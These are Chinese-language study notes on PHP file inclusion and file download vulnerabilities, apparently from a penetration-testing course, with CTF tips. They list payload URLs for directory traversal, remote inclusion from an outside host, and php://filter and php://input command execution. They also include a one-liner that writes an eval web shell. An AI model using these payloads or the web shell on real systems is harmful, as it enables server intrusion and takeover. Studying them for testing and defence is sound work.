总结:文件包含的一些学习,文件包含就是包括了三种情况,一种是执行对应的目录代码,这个就是可以的理解成解析漏洞,一个是下载里面的内容,一个就是直接读取内容(文件包含->解析 文件下载->下载内容 文件读取->读取源码),伪协议重要一些我感觉【难点:发现漏洞->看参数看功能 难点:利用->伪协议和对应的中间件的配置文件比如javaweb的web-inf等等,这个是要看对应的中间件去找对应的一些配置的文件里面有一些重要信息可以看,在用伪协议来利用】
伪协议讲解【简单理解就是功能文件头+过滤器+内容】
文件包含分俩种:一种本地包含,一种远程包含
本地包含:顾名思义,就是包含本地的文件,一般的用途就是可以查看到这个目录下的信息,也可以像目录穿越一样去找别的文件,找到配置文件等等重要文件后续发展:)
eg.
http://127.0.0.1:8080/include.php?filename=1.txt
http://127.0.0.1:8080/include.php?filename=../../../www.txt
这里用到的一些技巧:【有些网站就会在文件页面强行给你加个 .html 这个时候这些技巧就排上用处了】
远程文件包含:这个就是可以包含远程的文件咯,前提条件是 allow_url_include必需打开
这个
eg.
http://127.0.0.1:8080/include.php?filename=http://www.xiaodi8.com/readme.txt
http://127.0.0.1:8080/include.php?filename=http://www.xiaodi8.com/readme.txt%20
http://127.0.0.1:8080/include.php?filename=http://www.xiaodi8.com/readme.txt%23
http://127.0.0.1:8080/include.php?filename=http://www.xiaodi8.com/readme.txt?
伪协议玩法:看伪协议的讲解【实战中这个应该才是有用的】
php://input这个是执行命令
php://filter这个是读取
用命令可以读取目录,再去读取,可以获得flag这个是ctf的考点
http://127.0.0.1:8080/include.php?filename=php://filter/convert.base64-encode/resource=1.txt
http://127.0.0.1:8080/include.php?filename=php://input Post:<?php system('ver')?>
<?PHP fputs(fopen('s.php','w'),'<?php @eval($_POST[cmd])?>');?>
http://127.0.0.1:8080/include.php?filename=file:///D:/phpstudy/PHPTutorial/WWW/1.txt
http://127.0.0.1:8080/include.php?filename=data://text/plain,<?php%20phpinfo();?>
文件包含原理:将文件当成php执行【相当于解析php】
文件下载:文件包含的另一种形式,可以这么说,我们访问一个目录的东西时,如果它是代码那就执行处页面给我们看,如果是压缩包等可以下载的那就会自动帮我们下载,所以其实就是执行目录的内容
文件下载的利用:下载重要的东西然后看咯,比方一些配置文件什么的
发现文件下载的漏洞思路:一个是看url参数的样子,一个就是看功能
功能的话回顾一下当贝的apk在下的例子